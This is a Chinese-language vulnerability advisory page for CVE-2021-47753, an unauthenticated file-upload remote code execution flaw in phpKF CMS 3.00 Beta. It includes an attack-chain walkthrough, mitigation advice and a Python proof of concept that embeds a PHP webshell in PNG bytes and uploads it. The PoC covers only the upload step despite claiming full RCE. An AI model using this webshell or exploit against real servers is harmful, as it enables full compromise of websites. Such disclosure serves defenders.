IPBUF安全漏洞报告
English
CVE-2021-47753 CVSS 9.8 严重

CVE-2021-47753 phpKF CMS 3.00 Beta未认证文件上传远程代码执行漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2021-47753
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
phpKF CMS

相关标签

CVE-2021-47753phpKF CMS文件上传漏洞远程代码执行未授权访问webshell安全绕过内容管理系统

漏洞概述

phpKF CMS是一款由phpkf.com开发的开源内容管理系统,广泛应用于各类网站建设中。该系统的3.00 Beta y6版本存在一个严重的安全漏洞,为未经身份验证的远程攻击者提供了执行任意代码的能力。此漏洞属于文件上传类漏洞,攻击者可以利用系统的文件上传功能,通过特殊的绕过技术将恶意的PHP文件伪装成PNG图片上传到服务器。上传成功后,攻击者可以对该文件进行重命名操作,去除伪装扩展名,使服务器将其作为PHP脚本执行。一旦PHP代码被执行,攻击者便可以在服务器上执行任意系统命令,从而完全控制目标系统。由于该漏洞不需要任何认证凭证,任何能够访问系统上传功能的攻击者都可以利用此漏洞发起攻击。此漏洞的CVSS评分高达9.8分,属于紧急严重级别,对使用该系统的网站构成重大安全威胁。攻击者成功利用此漏洞后,可能导致网站数据泄露、服务器被完全入侵、恶意软件植入等严重后果。

技术细节

phpKF CMS 3.00 Beta y6版本的文件上传功能存在严重的安全缺陷。系统虽然对上传文件的扩展名进行了检查,试图限制只能上传图片文件,但检查机制存在可被绕过的漏洞。攻击者可以将PHP代码写入一个PNG图片文件的末尾,然后将其作为PNG文件上传。由于系统仅检查文件头部分是否为有效的图片标识,而没有严格验证整个文件内容的完整性,因此这种伪装的上传方式可以成功绕过文件类型检查。上传成功后,系统允许用户对文件进行重命名操作。攻击者可以利用此功能将上传的PNG文件重命名为.php扩展名,使服务器将其作为PHP脚本解析执行。当恶意PHP文件被服务器执行后,其中包含的webshell代码将为攻击者提供一个可通过HTTP请求参数执行系统命令的接口。攻击者只需构造特定的URL请求,在参数中传递要执行的系统命令,即可获取服务器的完全控制权。整个攻击过程无需任何认证,完全依赖于系统对用户上传文件扩展名检查的不完善以及文件重命名功能的权限控制缺失。

攻击链分析

STEP 1
步骤1: 准备恶意文件
攻击者创建一个包含PHP webshell代码的PNG图片文件,通过在有效的PNG文件末尾追加恶意PHP代码来绕过文件类型检查
STEP 2
步骤2: 上传伪装文件
攻击者将恶意PNG文件通过系统的文件上传功能上传到服务器,系统检测到文件头为有效PNG格式后允许上传
STEP 3
步骤3: 重命名文件
利用系统的文件重命名功能,将上传的PNG文件重命名为.php扩展名,使其能够被服务器作为PHP脚本解析
STEP 4
步骤4: 执行webshell
通过构造特定的HTTP请求,访问重命名后的PHP文件并在URL参数中传递要执行的系统命令,实现远程代码执行
STEP 5
步骤5: 获取系统控制权
成功执行命令后,攻击者可以在服务器上执行任意操作,包括读取敏感数据、安装后门、横向移动等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2021-47753 PoC - phpKF CMS 3.00 Beta Unauthenticated RCE # This PoC demonstrates file upload bypass and remote code execution import requests import sys import random import string def generate_php_shell(): """Generate PHP webshell code""" return b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' def generate_png_with_shell(): """Generate PNG file with embedded PHP shell""" # Minimal valid PNG header (1x1 transparent PNG) png_header = bytes([ 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, # PNG signature 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, # IHDR chunk 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, # width=1, height=1 0x08, 0x06, 0x00, 0x00, 0x00, 0x1F, 0x15, 0xC4, # bit depth, color type, etc 0x89, 0x00, 0x00, 0x00, 0x0A, 0x49, 0x44, 0x41, # IDAT chunk 0x54, 0x78, 0x9C, 0x63, 0x00, 0x01, 0x00, 0x00, # compressed data 0x05, 0x00, 0x01, 0x0D, 0x0A, 0x2D, 0xB4, 0x00, # 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, # IEND chunk 0x42, 0x60, 0x82 ]) # Append PHP shell return png_header + generate_php_shell() def exploit(target_url): """Exploit the vulnerability""" print(f"[*] Targeting: {target_url}") # Step 1: Upload malicious PNG file upload_url = f"{target_url}/galeri_resim_yukle.php" # Example upload endpoint files = { 'dosya': ('shell.png', generate_png_with_shell(), 'image/png') } print("[*] Step 1: Uploading malicious PNG file...") try: response = requests.post(upload_url, files=files, timeout=10) print(f"[+] Upload response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Upload failed: {e}") return None return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

影响范围

phpKF CMS 3.00 Beta y6

防御指南

临时缓解措施
如果无法立即升级系统,可采取以下临时缓解措施:1) 禁用或限制文件上传功能;2) 在Web服务器配置中禁止上传目录中的PHP文件执行;3) 实施严格的访问控制,要求用户登录后才能使用文件上传功能;4) 使用Web应用防火墙过滤恶意请求;5) 监控服务器日志,及时发现异常的上传和访问行为。同时建议尽快应用官方发布的安全补丁或升级到修复后的版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表